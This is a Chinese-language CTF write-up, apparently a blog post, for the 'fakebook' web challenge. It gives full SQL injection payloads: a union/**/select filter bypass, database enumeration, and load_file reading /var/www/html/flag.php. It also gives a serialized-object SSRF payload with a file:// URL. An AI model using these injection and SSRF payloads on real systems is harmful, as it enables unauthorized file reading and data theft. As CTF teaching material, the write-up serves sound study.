提示
- 数字型sql注入
- src
- robots.txt
- 当数据库是root权限使可以使用load_file函数

这里先用dirsearch扫一遍
一般做题都要扫,这道题扫描速度不能太快,不然会429报错
这里扫到了比较重要的两个,/var/www/html/flag.php这个肯定是不能直接访问的,但是还有robots.txt
访问robots.txt看看
这里有返回一个备份文件,下载来看看

这里主要的有这点
curl_exec这个函数用不好就会造成src漏洞
所以这里就有了一个构成src漏洞的思路,继续往下走看怎么利用

随便注册一个账户登录
这里本来想尝试能不能注册管理员账户,但这个网站好像并没有管理员这个说法
我自己的理解
- 这里对登录界面进行sql注入是不明智的,并没有什么用,没有管理员一说,就算有大概和普通用户的登陆后界面也一样

点击admin到另一个界面

这里我对两个点有些许怀疑
- url传参里的no=1,看起来很像sql注入,但是我还是先测试了一下以免无用功
传入n=1 and 1=1,正常
传入n=1 and 1=2,报错
- 这里说他或者她的博客内容,我想着刚开始注册的时候不是有一个填入自己的博客吗,这里是否就是一个src
![]()
查看源代码看看
这里有明显的src
应为我注册的时候用的时我的csdn的博客,他这里回显的就是博客base64加密后的东西
所以到这里有两种方法去做
- sql注入,通过sql读取文件
- src
sql注入
首先通过order by看有几个字段
当尝试到5的时候报错

union select 1,2,3,4
这里说我是黑客

fuzz一下看过滤了啥
这里看起来像是过滤了空格,但其实之过滤了union空格select,完整的且大小写匹配
但是换成union/**/select就绕过了,这个防护还不如不做

接着我们的联合查询
payload: 1 union/**/select 1,2,3,4
这里的报错点在2

现在就是一系列信息搜集
数据库:fakebook
-1%20union/**/select%201,database(),3,4
用户信息:root@localhost
-1%20union/**/select%201,user(),3,4
操作系统:linux
-1%20union/**/select%201,@@version_compile_os,3,4
数据库版本:10.2.26-MariaDB-log
-1%20union/**/select%201,version(),3,4
这里没想到呀,居然是root权限的用户
当权限是root那么我们就可以使用函数load_file直接读取服务器的文件(load_file里的必须时绝对路径,不能是相对路径)
读取flag文件
-1%20union/**/select%201,load_file(%27/var/www/html/flag.php%27),3,4
查看源代码获得flag

src
到这里还是没有什么思路,先把数据库查完
查表:users
-1%20union/**/select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

查字段:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

这里一个一个看看
到这里的时候发现序列化后的UserInfo对象
payload:-1%20union/**/select%201,group_concat(data),3,4%20from%20users
这里就能看到最后那一节不就是我们注册的时候的博客吗,并且这个页面也会返回base64后的页面代码

这里明显就是刚开始我们发现的备份文件里的代码反序列化的结果

我们把这个反序列化一下再改一下
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:36:"https://mp.csdn.net/mp_blog/creation";}
这里s后面的数字就是他后面有多少个字符,file是用于读取本地文件的,里面得用绝对路径
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
-1%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
明显返回正常了,正确解析了我们上传的东西,blog这里访问了我们放的东西(这里放在union/**/select 1,2,3,4的4的位置是因为data字段本就在第四个)

查看源代码
这里拿去base64解码便得到了flag


文章描述了一次针对一个网站的渗透测试过程,通过数字型SQL注入和load_file函数的滥用,展示了如何利用src漏洞进行信息搜集,包括数据库、用户信息和系统信息。最终目标是获取flag文件,通过序列化和反序列化技巧绕过安全防护,成功读取服务器文件。
传入n=1 and 1=1,正常
传入n=1 and 1=2,报错







1万+

被折叠的 条评论
为什么被折叠?



